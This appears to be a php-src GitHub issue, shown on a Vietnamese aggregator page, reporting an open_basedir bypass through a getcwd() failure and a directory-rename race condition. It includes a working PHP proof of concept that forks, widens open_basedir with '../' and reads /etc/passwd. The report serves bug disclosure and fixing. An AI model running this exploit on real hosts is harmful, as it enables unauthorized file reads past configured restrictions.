php / php/php-src

open_basedir bypass via getcwd() failure and race condition

Đang mở
#21,961 0 bình luận 2 reaction 1 người được giao Xem trên GitHub

@iluuu1994 đang làm issue này rồi.

Từ ngày 6/5/2026.

Bug Category: Streams Status: Verified
Ngôn ngữ chính
C
Star
40.4k
Fork
8.1k
Merge trung bình
2 ngày 13 giờ
Pull request đã merge (30 ngày)
96

Mô tả

Description

Originally reported by @mdsnins.

ZEND_INI_MH(OnUpdateBaseDir) allows narrowing of open_basedir at runtime, but not widening. It does so by expanding each path in the string passed to ini_set('open_basedir', 'path1:path2) and verifying it is a sub-path of one of the existing open_basedir paths.

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L101

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L106

expand_filepath() resolves relative paths by fetching the cwd using VCWD_GETCWD() to resolve the relative path against (when relative_to is NULL, that is). VCWD_GETCWD() can fail and return NULL in some edge-case, the common one being that the length of the CWD exceeds the buffer size, specified by MAXPATHLEN (4096 on Linux).

When VCWD_GETCWD() returns NULL, expand_filepath_with_mode() has a fallback that tries to open the relative file using VCWD_OPEN(), and letting the OS resolve the path.

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L809-L828

This is bad for two reasons:

  • When this operation succeeds, VCWD_GETCWD() returns the unresolved path.
  • The true cwd is not necessary the same as VCWD_GETCWD(). VCWD_GETCWD() handles cwd for zts, where we want a thread-specific cwd, rather than one per process. So even if the lookup succeeds, we might find the wrong file.

Now, these two separate checks allow open_basedir to be circumvented with a race-condition (which we don't consider a security issue due to open_basedir not being a security setting). Another process can expand the cwd of the current process by renaming some folder such that VCWD_GETCWD() operation fails (by exceeding MAXPATHLEN), and renaming it back for VCWD_OPEN() to succeed. When adding ../ to the open_basedir paths, expand_filepath() will return the unchanged path "../", which will also pass the open_basedir check if we're currently present in a sub-folder of one of the open_basedir paths.

<?php

chdir("/tmp");
@mkdir("poc/");
chdir("poc/");

echo "original basedir: " . ini_get("open_basedir") . "\n\n";

$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);

chdir($magic_depth);
$pid = pcntl_fork();

if ($pid == -1) die;
if ($pid == 0) {
    for ($i = 0; $i < 20; $i++) {
        $cur_basedir = ini_get("open_basedir");
        ini_set("open_basedir", $cur_basedir . ":../");
    }

    chdir("/tmp");
    chdir("../");

    $passwd = @file_get_contents("etc/passwd");
    if (!$passwd)
        die("failed\n");

    echo "content of /etc/passwd: \n";
    echo $passwd;
    echo "\n";
} else {
    chdir("/tmp"); //go back to original dir
    for ($i = 0; $i < 3000; $i++) {
        rename("poc", str_repeat("x", 250));
        rename(str_repeat("x", 250), "poc");
    }
}

The simplest solution is to just remove the fallback in expand_filepath_with_mode(), which is incorrect to begin with.

PHP Version
-
Operating System

No response

Hướng dẫn đóng góp

Mở hướng dẫn đóng góp

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Đánh giá

Issue này chưa được đánh giá.

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.